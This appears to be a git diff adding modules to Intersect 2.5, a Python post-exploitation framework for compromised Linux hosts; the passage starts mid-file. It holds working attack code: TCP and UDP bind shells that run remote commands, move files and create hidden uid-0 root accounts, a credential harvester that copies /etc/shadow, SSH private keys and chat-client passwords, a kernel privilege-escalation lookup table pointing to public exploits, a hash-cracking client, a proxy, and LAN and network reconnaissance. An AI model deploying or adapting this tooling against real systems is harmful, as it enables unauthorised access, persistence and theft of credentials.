version.split(".") + + if len(split_version) >= 3 and len(split_version[2]) == 1: + split_version[2] = "0%s" % split_version[2] + version = ".".join(v for v in split_version) + + return version + + +def privesc(): + # Shout out to Bernardo Damele for letting me use this code! Thanks again! + # Check out his blog at http://bernardodamele.blogspot.com + + kernel_version_string = os.popen('uname -r').read().strip() + + exploitdb_url = "http://www.exploit-db.com/exploits" + enlightenment_url = "http://www.grsecurity.net/~spender/enlightenment.tgz" + + status_msg("[+] Results for local kernel version %s" % kernel_version_string) + + kernel_parts = kernel_version_string.split("-") + kernel_version = fix_version(kernel_parts[0]) + + found_exploit = False + exploits = { + "do_brk": { "CVE": "2003-0961", "versions": ("2.4.0-2.4.22",), "exploits": (131,) }, + "mremap missing do_munmap": { "CVE": "2004-0077", "versions": ("2.2.0-2.2.25", "2.4.0-2.4.24", "2.6.0-2.6.2"), "exploits": (160,) }, + "binfmt_elf Executable File Read": { "CVE": "2004-1073", "versions": ("2.4.0-2.4.27", "2.6.0-2.6.8"), "exploits": (624,) }, + "uselib()": { "CVE": "2004-1235", "versions": ("2.4.0-2.4.29rc2", "2.6.0-2.6.10rc2"), "exploits": (895,) }, + "bluez": { "CVE": "2005-1294", "versions": ("2.6.0-2.6.11.5",), "exploits": (4756, 926) }, + "prctl()": { "CVE": "2006-2451", "versions": ("2.6.13-2.6.17.4",), "exploits": (2031, 2006, 2011, 2005, 2004) }, + "proc": { "CVE": "2006-3626", "versions": ("2.6.0-2.6.17.4",), "exploits": (2013,) }, + "system call emulation": { "CVE": "2007-4573", "versions": ("2.4.0-2.4.30", "2.6.0-2.6.22.7",), "exploits": (4460,) }, + "vmsplice": { "CVE": "2008-0009", "versions": ("2.6.17-2.6.24.1",), "exploits": (5092, 5093) }, + "ftruncate()/open()": { "CVE": "2008-4210", "versions": ("2.6.0-2.6.22",), "exploits": (6851,) }, + "eCryptfs (Paokara)": { "CVE": "2009-0269", "versions": ("2.6.19-2.6.31.1",), "exploits": (enlightenment_url,) }, + "set_selection() UTF-8 Off By One": { "CVE": "2009-1046", "versions": ("2.6.0-2.6.28.3",), "exploits": (9083,) }, + "UDEV < 141": { "CVE": "2009-1185", "versions": ("2.6.25-2.6.30",), "exploits": (8478, 8572) }, + "exit_notify()": { "CVE": "2009-1337", "versions": ("2.6.0-2.6.29",), "exploits": (8369,) }, + "ptrace_attach() Local Root Race Condition": { "CVE": "2009-1527", "versions": ("2.6.29",), "exploits": (8678, 8673) }, + "sock_sendpage() (Wunderbar Emporium)": { "CVE": "2009-2692", "versions": ("2.6.0-2.6.31rc3", "2.4.0-2.4.37.1"), "exploits": (9641, 9545, 9479, 9436, 9435, enlightenment_url) }, + "udp_sendmsg() (The Rebel)": { "CVE": "2009-2698", "versions": ("2.6.0-2.6.9.2",), "exploits": (9575, 9574, enlightenment_url) }, + "(32bit) ip_append_data() ring0": { "CVE": "2009-2698", "versions": ("2.6.0-2.6.9",), "exploits": (9542,) }, + "perf_counter_open() (Powerglove and Ingo m0wnar)": { "CVE": "2009-3234", "versions": ("2.6.31",), "exploits": (enlightenment_url,) }, + "pipe.c (MooseCox)": { "CVE": "2009-3547", "versions": ("2.6.0-2.6.32rc5", "2.4.0-2.4.37"), "exploits": (10018, enlightenment_url) }, + "CPL 0": { "CVE": "2010-0298", "versions": ("2.6.0-2.6.11",), "exploits": (1397,) }, + "ReiserFS xattr": { "CVE": "2010-1146", "versions": ("2.6.0-2.6.34rc3",), "exploits": (12130,) }, + "Unknown": { "CVE": None, "versions": ("2.6.18-2.6.20",), "exploits": (10613,) }, + "SELinux/RHEL5 (Cheddar Bay)": { "CVE": None, "versions": ("2.6.9-2.6.30",), "exploits": (9208, 9191, enlightenment_url) }, + "compat": { "CVE": "2010-3301", "versions": ("2.6.27-2.6.36rc4",), "exploits": (15023, 15024) }, + "BCM": { "CVE": "2010-2959", "versions": ("2.6.0-2.6.36rc1",), "exploits": (14814,) }, + "RDS protocol": { "CVE": "2010-3904", "versions": ("2.6.0-2.6.36rc8",), "exploits": (15285,) }, + "put_user() - full-nelson": { "CVE": "2010-4258", "versions": ("2.6.0-2.6.37",), "exploits": (15704,) }, + "sock_no_sendpage() - full-nelson": { "CVE": "2010-3849", "versions": ("2.6.0-2.6.37",), "exploits": (15704,) }, + "ACPI custom_method": { "CVE": "2010-4347", "versions": ("2.6.0-2.6.37rc2",), "exploits": (15774,) }, + "CAP_SYS_ADMIN": { "CVE": "2010-4347", "versions": ("2.6.34-2.6.37",), "exploits": (15916, 15944) }, + "econet_sendmsg() - half-nelson": { "CVE": "2010-3848", "versions": ("2.6.0-2.6.36.2",), "exploits": (17787,) }, + "ec_dev_ioctl() - half-nelson": { "CVE": "2010-3850", "versions": ("2.6.0-2.6.36.2",), "exploits": (17787, 15704) }, + "ipc - half-nelson": { "CVE": "2010-4073", "versions": ("2.6.0-2.6.37rc1",), "exploits": (17787,) }, + } + + log_msg("Executed 'privesc' module") + + status_msg("Possible exploits: ") + + for name, data in exploits.items(): + versions = data["versions"] + + for version_tree in versions: + if "-" in version_tree: + min_version, max_version = version_tree.split("-") + else: + min_version, max_version = version_tree, version_tree + + if kernel_version >= fix_version(min_version) and kernel_version <= fix_version(max_version): + cve = data["CVE"] + exploits = data["exploits"] + found_exploit = True + + status_msg("\n* Linux Kernel %s Local Root Exploit\n CVE: CVE-%s\n Affected Kernels: %s-%s\n Exploits:\n%s" % (name, cve, min_version, max_version, "\n".join(" %s/%d" % (exploitdb_url, expl) if isinstance(expl, int) else " %s" % expl for expl in exploits))) + + if found_exploit: + status_msg("") + + if len(kernel_parts) > 1: + print "WARNING: %s appears to be a modified version of kernel %s." % (kernel_version_string, kernel_version) + print "These exploits can *possibly* get you to uid=0, but this script does *not* consider patched or backported kernel version\n" + + diff --git a/Intersect-2.5/src/Modules/local/Custom/privesc~ b/Intersect-2.5/src/Modules/local/Custom/privesc~ new file mode 100644 index 0000000..9dc8205 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/privesc~ @@ -0,0 +1,96 @@ + +def fix_version(version): + ''' + @description: Checks for the Linux kernel for the existence of possible privilege escalation exploits. Provides CVE and download link if available. + @author: original code by Bernardo Damele + @short: identify priv-esc vulns + ''' + split_version = version.split(".") + + if len(split_version) >= 3 and len(split_version[2]) == 1: + split_version[2] = "0%s" % split_version[2] + version = ".".join(v for v in split_version) + + return version + + +def privesc(): + # Shout out to Bernardo Damele for letting me use this code! Thanks again! + # Check out his blog at http://bernardodamele.blogspot.com + + kernel_version_string = os.popen('uname -r').read().strip() + + exploitdb_url = "http://www.exploit-db.com/exploits" + enlightenment_url = "http://www.grsecurity.net/~spender/enlightenment.tgz" + + status_msg("[+] Results for local kernel version %s" % kernel_version_string) + + kernel_parts = kernel_version_string.split("-") + kernel_version = fix_version(kernel_parts[0]) + + found_exploit = False + exploits = { + "do_brk": { "CVE": "2003-0961", "versions": ("2.4.0-2.4.22",), "exploits": (131,) }, + "mremap missing do_munmap": { "CVE": "2004-0077", "versions": ("2.2.0-2.2.25", "2.4.0-2.4.24", "2.6.0-2.6.2"), "exploits": (160,) }, + "binfmt_elf Executable File Read": { "CVE": "2004-1073", "versions": ("2.4.0-2.4.27", "2.6.0-2.6.8"), "exploits": (624,) }, + "uselib()": { "CVE": "2004-1235", "versions": ("2.4.0-2.4.29rc2", "2.6.0-2.6.10rc2"), "exploits": (895,) }, + "bluez": { "CVE": "2005-1294", "versions": ("2.6.0-2.6.11.5",), "exploits": (4756, 926) }, + "prctl()": { "CVE": "2006-2451", "versions": ("2.6.13-2.6.17.4",), "exploits": (2031, 2006, 2011, 2005, 2004) }, + "proc": { "CVE": "2006-3626", "versions": ("2.6.0-2.6.17.4",), "exploits": (2013,) }, + "system call emulation": { "CVE": "2007-4573", "versions": ("2.4.0-2.4.30", "2.6.0-2.6.22.7",), "exploits": (4460,) }, + "vmsplice": { "CVE": "2008-0009", "versions": ("2.6.17-2.6.24.1",), "exploits": (5092, 5093) }, + "ftruncate()/open()": { "CVE": "2008-4210", "versions": ("2.6.0-2.6.22",), "exploits": (6851,) }, + "eCryptfs (Paokara)": { "CVE": "2009-0269", "versions": ("2.6.19-2.6.31.1",), "exploits": (enlightenment_url,) }, + "set_selection() UTF-8 Off By One": { "CVE": "2009-1046", "versions": ("2.6.0-2.6.28.3",), "exploits": (9083,) }, + "UDEV < 141": { "CVE": "2009-1185", "versions": ("2.6.25-2.6.30",), "exploits": (8478, 8572) }, + "exit_notify()": { "CVE": "2009-1337", "versions": ("2.6.0-2.6.29",), "exploits": (8369,) }, + "ptrace_attach() Local Root Race Condition": { "CVE": "2009-1527", "versions": ("2.6.29",), "exploits": (8678, 8673) }, + "sock_sendpage() (Wunderbar Emporium)": { "CVE": "2009-2692", "versions": ("2.6.0-2.6.31rc3", "2.4.0-2.4.37.1"), "exploits": (9641, 9545, 9479, 9436, 9435, enlightenment_url) }, + "udp_sendmsg() (The Rebel)": { "CVE": "2009-2698", "versions": ("2.6.0-2.6.9.2",), "exploits": (9575, 9574, enlightenment_url) }, + "(32bit) ip_append_data() ring0": { "CVE": "2009-2698", "versions": ("2.6.0-2.6.9",), "exploits": (9542,) }, + "perf_counter_open() (Powerglove and Ingo m0wnar)": { "CVE": "2009-3234", "versions": ("2.6.31",), "exploits": (enlightenment_url,) }, + "pipe.c (MooseCox)": { "CVE": "2009-3547", "versions": ("2.6.0-2.6.32rc5", "2.4.0-2.4.37"), "exploits": (10018, enlightenment_url) }, + "CPL 0": { "CVE": "2010-0298", "versions": ("2.6.0-2.6.11",), "exploits": (1397,) }, + "ReiserFS xattr": { "CVE": "2010-1146", "versions": ("2.6.0-2.6.34rc3",), "exploits": (12130,) }, + "Unknown": { "CVE": None, "versions": ("2.6.18-2.6.20",), "exploits": (10613,) }, + "SELinux/RHEL5 (Cheddar Bay)": { "CVE": None, "versions": ("2.6.9-2.6.30",), "exploits": (9208, 9191, enlightenment_url) }, + "compat": { "CVE": "2010-3301", "versions": ("2.6.27-2.6.36rc4",), "exploits": (15023, 15024) }, + "BCM": { "CVE": "2010-2959", "versions": ("2.6.0-2.6.36rc1",), "exploits": (14814,) }, + "RDS protocol": { "CVE": "2010-3904", "versions": ("2.6.0-2.6.36rc8",), "exploits": (15285,) }, + "put_user() - full-nelson": { "CVE": "2010-4258", "versions": ("2.6.0-2.6.37",), "exploits": (15704,) }, + "sock_no_sendpage() - full-nelson": { "CVE": "2010-3849", "versions": ("2.6.0-2.6.37",), "exploits": (15704,) }, + "ACPI custom_method": { "CVE": "2010-4347", "versions": ("2.6.0-2.6.37rc2",), "exploits": (15774,) }, + "CAP_SYS_ADMIN": { "CVE": "2010-4347", "versions": ("2.6.34-2.6.37",), "exploits": (15916, 15944) }, + "econet_sendmsg() - half-nelson": { "CVE": "2010-3848", "versions": ("2.6.0-2.6.36.2",), "exploits": (17787,) }, + "ec_dev_ioctl() - half-nelson": { "CVE": "2010-3850", "versions": ("2.6.0-2.6.36.2",), "exploits": (17787, 15704) }, + "ipc - half-nelson": { "CVE": "2010-4073", "versions": ("2.6.0-2.6.37rc1",), "exploits": (17787,) }, + } + + log_msg("Executed 'privesc' module") + + status_msg("Possible exploits: ") + + for name, data in exploits.items(): + versions = data["versions"] + + for version_tree in versions: + if "-" in version_tree: + min_version, max_version = version_tree.split("-") + else: + min_version, max_version = version_tree, version_tree + + if kernel_version >= fix_version(min_version) and kernel_version <= fix_version(max_version): + cve = data["CVE"] + exploits = data["exploits"] + found_exploit = True + + status_msg("\n* Linux Kernel %s Local Root Exploit\n CVE: CVE-%s\n Affected Kernels: %s-%s\n Exploits:\n%s" % (name, cve, min_version, max_version, "\n".join(" %s/%d" % (exploitdb_url, expl) if isinstance(expl, int) else " %s" % expl for expl in exploits))) + + if found_exploit: + print + + if len(kernel_parts) > 1: + print "WARNING: %s appears to be a modified version of kernel %s." % (kernel_version_string, kernel_version) + print "These exploits can *possibly* get you to uid=0, but this script does *not* consider patched or backported kernel version\n" + + diff --git a/Intersect-2.5/src/Modules/local/Custom/sniff b/Intersect-2.5/src/Modules/local/Custom/sniff new file mode 100644 index 0000000..e69de29 diff --git a/Intersect-2.5/src/Modules/local/Custom/udpbind b/Intersect-2.5/src/Modules/local/Custom/udpbind new file mode 100644 index 0000000..e03f612 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/udpbind @@ -0,0 +1,68 @@ + +def udpbind(): + ''' + @description: starts a UDP bind shell on port 21541. interactive shell access with additional Intersect commands. use the UDP-Client in Shell/ to connect. + @author: ohdae [bindshell@live.com] + @short: UDP bind shell + ''' + + host = "127.0.0.1" + port = 21541 + buf = 1024 + addr = (host,port) + +# Create socket and bind to address + UDPSock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + UDPSock.bind(addr) + log_msg("\n\n [ UDP Bindshell module executed ]") + log_msg("\n Start Time: %s" % logtime) + + while 1: + data,addr = UDPSock.recvfrom(buf) + proc = Popen(data, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if data == ":killme": + (UDPSock.sendto("[!] Closing connection!", addr)) + UDPSock.close() + sys.exit(0) + + elif data.startswith("cd"): + destination = data[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + (UDPSock.sendto("\nCurrent Directory: "+str(os.getcwd()), addr)) + else: + (UDPSock.sendto("[!] Directory does not exist", addr)) + (UDPSock.sendto("\nCurrent Directory: "+str(os.getcwd()), addr)) + + elif data.startswith(":addroot"): + strip = data.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + (UDPSock.sendto("[+] Root account " + acct + " has been created.", addr)) + + elif data.startswith(":temp"): + os.system("cd %s" % Temp_Dir) + (UDPSock.sendto("\nCurrent Directory: "+str(os.getcwd()), addr)) + + elif data == ":mods": + (UDPSock.sendto("[+] Currently loaded modules:\n %s " % (modList, addr))) + + elif data.startswith(":exec"): + pass + + elif data.startswith(":reboot"): + (UDPSock.sendto("[+] System going down for reboot!", addr)) + os.system("shutdown -h now") + + elif proc: + (UDPSock.sendto(stdout,addr)) + + + UDPSock.close() diff --git a/Intersect-2.5/src/Modules/local/Custom/webproxy b/Intersect-2.5/src/Modules/local/Custom/webproxy new file mode 100644 index 0000000..aee1832 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/webproxy @@ -0,0 +1,18 @@ + +class Proxy(SimpleHTTPServer.SimpleHTTPRequestHandler): + + def do_GET(self): + self.copyfile(urllib2.urlopen(self.path), self.wfile) + +def httproxy(): + ''' + @description: Starts a basic HTTP proxy on the target system. + @author: ohdae [bindshell@live.com] + @short: http proxy + ''' + httpd = SocketServer.ForkingTCPServer(('', PPORT), Proxy) + print("[+] Serving HTTP proxy on port %s" % PPORT) + log_msg("\n\n [ HTTP Proxy module executed ]") + log_msg("\n Start Time: %s" % logtime) + + httpd.serve_forever() diff --git a/Intersect-2.5/src/Modules/local/Custom/xmlcrack b/Intersect-2.5/src/Modules/local/Custom/xmlcrack new file mode 100644 index 0000000..2da3744 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/xmlcrack @@ -0,0 +1,55 @@ + +def xmlcrack(): + ''' + @description: Sends hash list to remote XMLRPC server for cracking. Crackserver.py must be running on the remote host. + @author: original code by Stephen Haywood aka averagesecurityguy + @short: xmlrpc crack client (-x filename hashtype) + ''' + if len(sys.argv) <=3: + print("[!] Must specify a filename and hashtype!") + sys.exit() + + import time + try: + import xmlrpclib + except ImportError: + print("[!] Python library XMLRPC is not installed!") + sys.exit(0) + + data = [] + filename = sys.argv[2] + hashtype = sys.argv[3] + + try: + #Open the hash file and convert it to an array before sending it in the + #XMLRPC request. + file = open(filename, 'rb') + for line in file: + data.append(line.rstrip('\r\n')) + file.close() + except Exception, err: + print "Error opening file " + filename + ": " + str(err) + + # Open connection to xmlrpc server + server = ("http://"+RHOST+":"+str(RPORT)) + try: + s = xmlrpclib.ServerProxy(server) + except: + print "Error opening connection to server " + server + ": " + str(err) + + # Send request to server and receive ID + id, msg = s.crack(data, hashtype) + + if id == 0: + print msg + else: + # Poll server for completion status and results using ID. + complete = False + wait = 10 + while True: + time.sleep(wait) + complete, results = s.results(id) + if results != []: + for r in results: + print r.rstrip('\r\n') + if complete: break diff --git a/Intersect-2.5/src/Modules/local/Custom/xmpp b/Intersect-2.5/src/Modules/local/Custom/xmpp new file mode 100644 index 0000000..2c64f6c --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/xmpp @@ -0,0 +1,2 @@ + +# Module coming soon. Starts an XMPP server/shell on the target system. diff --git a/Intersect-2.5/src/Modules/local/Standard/archive b/Intersect-2.5/src/Modules/local/Standard/archive new file mode 100644 index 0000000..a2cf1db --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/archive @@ -0,0 +1,16 @@ + +def archive(): + ''' + @description: Creates a tar archive of any files located within the Intersect sessions temporary directory + @short: create tar archive of sessions temp directory + @author: ohdae [bindshell@live.com] + ''' + log_msg("\n Start Time: %s" % logtime) + + os.chdir(Temp_Dir) + temp_files = os.listdir(Temp_Dir) + tarlist("reports", temp_files) + + + + diff --git a/Intersect-2.5/src/Modules/local/Standard/bshell b/Intersect-2.5/src/Modules/local/Standard/bshell new file mode 100644 index 0000000..66a810d --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/bshell @@ -0,0 +1,114 @@ + +def bshell(): + ''' + @description: Starts a TCP bind shell on the target system. Interactive shell with download/upload, cd and ability to execute other modules remotely." + @author: ohdae [bindshell@live.com] + @short: TCP bindshell + ''' + HOST = '' + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) + try: + log_msg("[ Bindshell module executed ]") + server.bind((HOST, PORT)) + server.listen(5) + except: + print "[!] Connection closed." + sys.exit(2) + + while 1: + conn, addr = server.accept() + log_msg("New shell connection") + conn.send("\nIntersect "+str(os.getcwd())+" => ") + reaper() + childPid = os.fork() + if childPid == 0: + tcphandle(conn) + else: + shellPID.append(childPid) + + +def tcphandle(conn): + time.sleep(3) + + while True: + cmd = conn.recv(socksize) + proc = Popen(cmd, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd.startswith('cd'): + destination = cmd[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + else: + conn.send("[!] Directory does not exist") + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + elif cmd.startswith(':addroot'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send("[+] Root account " + acct + " has been created.") + + elif cmd.startswith(':upload'): + getname = cmd.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + filedata = conn.recv(socksize) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send("[+] File upload complete!") + if not os.path.isfile(filename): + conn.send("[!] File upload failed! Please try again") + + elif cmd.startswith(':download'): + getname = cmd.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + conn.sendall(filedata) + else: + conn.send("[+] File not found!") + + elif cmd.startswith(":reboot"): + conn.send("[!] Server system is going down for a reboot!") + os.system("shutdown -h now") + + elif cmd == (":mods"): + conn.send(str(modList)) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + elif cmd.startswith(":exec"): + pass + #getname = cmd.split(" ") + #mod = getname[1] + #if mod in modList: + # mod = mod+"()" + # exec mod + #else: + # conn.send("Module not loaded!") + + elif cmd == (':killme'): + sys.exit(0) + + elif cmd == (':quit'): + conn.send("[!] Closing shell connection!\n") + conn.close() + os._exit(0) + + elif proc: + conn.sendall( stdout ) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + + diff --git a/Intersect-2.5/src/Modules/local/Standard/creds b/Intersect-2.5/src/Modules/local/Standard/creds new file mode 100644 index 0000000..7f19c89 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/creds @@ -0,0 +1,86 @@ + +def creds(): + ''' + @description: Gather user and system credentials. Looks for passwords, SSH keys, SSL certs, certain application creds, user histories and more. + @author: ohdae [bindshell@live.com] + @short: enumerate user and system credentials + ''' + log_msg("\n\n [ Credentials Module ]") + log_msg("\n Start Time: %s" % logtime) + + print("[+] Collecting user and system credentials....") + maketemp("credentials") + os.chdir(Temp_Dir+"/credentials/") + users() + + os.system('getent passwd > passwd.txt') + os.system('getent shadow > shadow.txt') + os.system("lastlog > lastlog.txt") + os.system("last -a > last.txt") + os.system("getent aliases > mail_aliases.txt") + log_msg("\n ACTION: passwd, shadow, lastlog and mail aliases collected.") + + if currentuser == "root": + os.system("find / -maxdepth 3 -name .ssh > ssh_locations.txt") + for user in userlist: + if os.path.exists("/home/%s" % user) is True: + os.system("ls /home/%s/.ssh/* > ssh_contents.txt" % user) + else: + os.system("ls %s/.ssh/* > ssh_contents.txt" % Home_Dir) + + sshfiles = ["ssh_locations.txt","ssh_contents.txt"] + combinefiles("SSH_Locations.txt", sshfiles) + for files in sshfiles: + if os.path.exists(files) is True: + os.system("rm %s" % files) + + for user in userlist: + if os.path.exists("/home/%s/.bash_history" % user) is True: + os.system("cat /home/%s/.bash_history | grep ssh > %s-SSH-History.txt" % (user, user)) + if currentuser == "root": + if os.path.exists("%s/.bash_history" % Home_Dir) is True: + os.system("cat %s/.bash_history | grep ssh > Root-SSH-History.txt" % Home_Dir) + + credentials = [ "/etc/master.passwd", "/etc/sudoers", "/etc/ssh/sshd_config", Home_Dir+"/.ssh/id_dsa", Home_Dir+"/.ssh/id_dsa.pub", + Home_Dir+"/.ssh/id_rsa", Home_Dir+"/.ssh/id_rsa.pub", Home_Dir+"/.gnupg/secring.gpg", Home_Dir+"/.ssh/authorized_keys", + Home_Dir+"/.ssh/known_hosts", "/etc/gshadow", "/etc/ca-certificates.conf", "/etc/passwd" ] + + for x in credentials: + copy2temp(x, "credentials") + + + if whereis('pidgin') is not None: + for user in userlist: + if os.path.exists("/home/%s/.purple/accounts.xml" % user) is True: + accts = open("/home/%s/.purple/accounts.xml" % user) + saved = open("Pidgin.txt", "a") + for line in accts.readlines(): + if '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + else: + pass + + accts.close() + saved.close() + + for user in userlist: + if os.path.exists("/home/%s/.irssi/config" % user) is True: + accts = open("/home/%s/.irssi/config" % user) + saved = open("irssi.txt", "a") + for line in accts.readlines(): + if "password = " in line: + saved.write(line) + else: + pass + accts.close() + saved.close() + + for user in userlist: + copy2temp("/home/%s/.znc/configs/znc.conf" % user) + + + diff --git a/Intersect-2.5/src/Modules/local/Standard/daemon b/Intersect-2.5/src/Modules/local/Standard/daemon new file mode 100644 index 0000000..44486a4 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/daemon @@ -0,0 +1,41 @@ + +def daemon(stdin='/dev/null', stdout='/dev/null', stderr='/dev/null'): + ''' + @description: Daemonize an Intersect script. When executed you'll be given the PID to monitor or kill the task if needed + @author: ohdae [bindshell@live.com] + @short: run as background process + ''' + + log_msg("\n\n [ Executed as Daemon ]") + log_msg("\n Start Time: %s" % logtime) + + try: + pid = os.fork() + if pid > 0: + sys.exit(0) + except OSError, e: + print >>sys.stderr, "fork one failed: %d (%s)" % (e.errno, e.strerror) + sys.exit(1) + + os.chdir("/") + os.setsid() + os.umask(0) + + try: + pid = os.fork() + if pid > 0: + print "[+] Daemon PID %d" % pid + sys.exit(0) + except OSError, e: + print("[!] Intersect will now run in the background. Check %s for your reports." % Temp_Dir) + print >>sys.stderr, "fork #2 failed: %d (%s)" % (e.errno, e.strerror) + sys.exit(1) + + si = file(stdin, 'r') + so = file(stdout, 'a+') + se = file(stderr, 'a+', 0) + os.dup2(si.fileno(), sys.stdin.fileno()) + os.dup2(so.fileno(), sys.stdout.fileno()) + os.dup2(se.fileno(), sys.stderr.fileno()) + + diff --git a/Intersect-2.5/src/Modules/local/Standard/extras b/Intersect-2.5/src/Modules/local/Standard/extras new file mode 100644 index 0000000..fded01f --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/extras @@ -0,0 +1,56 @@ + +def extras(): + ''' + @description: Searches for system, service and app configurations. Also tries to locate certain installed apps and protection measures. + @author: ohdae [bindshell@live.com] + @short: finds configs, security measures and misc apps + ''' + log_msg("\n\n [ Extras Module ]") + log_msg("\n Start Time: %s" % logtime) + + maketemp("extras") + protectiondir = (Temp_Dir+"/extras") + os.chdir(protectiondir) + maketemp("configs") + users() + + + configs = [ "/etc/snort/snort.conf", "/etc/apache2/apache2.conf", "/etc/apache2/ports.conf", + "/etc/bitlbee/bitlbee.conf", "/etc/mysql/my.cnf", "/etc/ufw/ufw.conf", "/etc/ufw/sysctl.conf", + "/etc/security/access.conf", "/etc/security/sepermit.conf", "/etc/ca-certificates.conf", "/etc/apt/secring.gpg", + "/etc/apt/trusted.gpg", "/etc/nginx/nginx.conf", "/etc/shells", "/etc/gated.conf", "/etc/inetd.conf", "/etc/rpc", + "/etc/psad/psad.conf", "/etc/mysql/debian.cnf", "/etc/chkrootkit.conf", "/etc/logrotate.conf", "/etc/rkhunter.conf" + "/etc/samba/smb.conf", "/etc/ldap/ldap.conf", "/etc/openldap/ldap.conf", "/opt/lampp/etc/httpd.conf", "/etc/cups/cups.conf", + "/etc/exports", "/etc/fstab", "~/.msf4/history", "/etc/ssl/openssl.cnf" ] + + + for x in configs: + copy2temp(x, "configs") + + print("[+] Searching for protection and misc extras....") + program = [ "truecrypt", "bulldog", "ufw", "iptables", "logrotate", "logwatch", + "chkrootkit", "clamav", "snort", "tiger", "firestarter", "avast", "lynis", + "rkhunter", "perl", "tcpdump", "nc", "webmin", "python", "gcc", "jailkit", + "pwgen", "proxychains", "bastille", "wireshark", "nagios", "nmap", "firefox", + "nagios", "tor", "openvpn", "virtualbox", "magictree", "apparmor", "git", + "xen", "svn", "redmine", "ldap", "msfconsole" ] + + for x in program: + location = whereis(x) + if location is not None: + text = location + '\n' + writenew("FullList.txt", text) + + + if currentuser == "root": + for user in userlist: + if os.path.exists("/home/%s/.msf4/" % user) is True: + os.system("ls -l /home/%s/.msf/loot > MSFLoot-%s.txt" % (user, user)) + if os.path.exists("/root/.msf4/") is True: + os.system("ls -l /root/.msf4/loot > MSFLoot-root.txt") + else: + if os.path.exists("%s/.msf4" % Home_Dir) is True: + os.system("ls -l %s/.msf4/loot > MSFLoot.txt" % Home_Dir) + + + diff --git a/Intersect-2.5/src/Modules/local/Standard/lanmap b/Intersect-2.5/src/Modules/local/Standard/lanmap new file mode 100644 index 0000000..9b1bc26 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/lanmap @@ -0,0 +1,45 @@ + +def lanmap(): + ''' + @description: uses Scapy to enumerate live hosts and gather IP addresses + @author: ohdae [bindshell@live.com] + @short: find live hosts on LAN + ''' + log_msg("\n\n [ LANMap Module ]") + log_msg("\n Start Time: %s" % logtime) + + print("[+] Searching for live hosts...") + maketemp("hosts") + os.chdir(Temp_Dir+"/hosts") + + try: + localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0] + except OSError: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("google.com",80)) + localIP = (s.getsockname()[0]) + s.close() + else: + pass + ipBin = reduce(lambda x, y: (int(x) << 8)+int(y), localIP.split('.')) + #route = [ network_addr, netmask, gateway, interface, address ] + for route in scapy.all.conf.route.routes: + if (route[4] == localIP #If it's the address we're talking to + and route[0] != 0 #and it's not the route to the gateway itself + and route[0] == (route[1] & ipBin)): #And localIP is in this subnet (fixes 169.254/16 oddness) + #Calculate the CIDR from the base-2 logarithm of the netmask + IPRange = '/'.join((localIP, str(int(32-log(0xffffffff-route[1]+1,2))))) + + conf.verb=0 + ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=IPRange),timeout=2) + write2file("livehosts.txt", "LAN IP Range: " + IPRange +"\n") + for snd,rcv in ans: + mac_address=rcv.sprintf("%Ether.src%") + ip_address=rcv.sprintf("%ARP.psrc%") + write2file("livehosts.txt", "\n[+] Live Host\nIP: "+ip_address + " MAC"+ mac_address + "\n") + + externalIP = urllib2.urlopen("http://myip.ozymo.com/").read() + results = ("External IP Address: " + externalIP + "\nInternal IP Address: " + localIP + "\nInternal IP Range: " + IPRange +"\n") + writenew("external.txt", results) + + diff --git a/Intersect-2.5/src/Modules/local/Standard/network b/Intersect-2.5/src/Modules/local/Standard/network new file mode 100644 index 0000000..735f574 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/network @@ -0,0 +1,67 @@ + +def network(): + ''' + @description: collects network information such as listening ports, DNS info, active connections, firewall rules, etc + @author: ohdae [bindshell@live.com] + @short: enumerate network info + ''' + log_msg("\n\n [ Network Module ]") + log_msg("\n Start Time: %s" % logtime) + + + print("[+] Collecting network info: services, ports, active connections, dns, gateways, etc...") + maketemp("network") + networkdir = Temp_Dir+"/network" + os.chdir(networkdir) + + proc = Popen('netstat --tcp --listening', + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + + file = open("nstat.txt","a") + for items in output: + file.write(items), + file.close() + + os.system("lsof -nPi > lsof.txt") + ports = ["nstat.txt","lsof.txt"] + combinefiles("Connections.txt", ports) + os.system("rm nstat.txt lsof.txt") + + if currentuser == "root" and whereis('iptables') is not None: + os.system("iptables -L -n > iptablesLN.txt") + os.system("iptables-save > iptables_save.txt") + log_msg("\n IPTables information saved.") + else: + pass + + 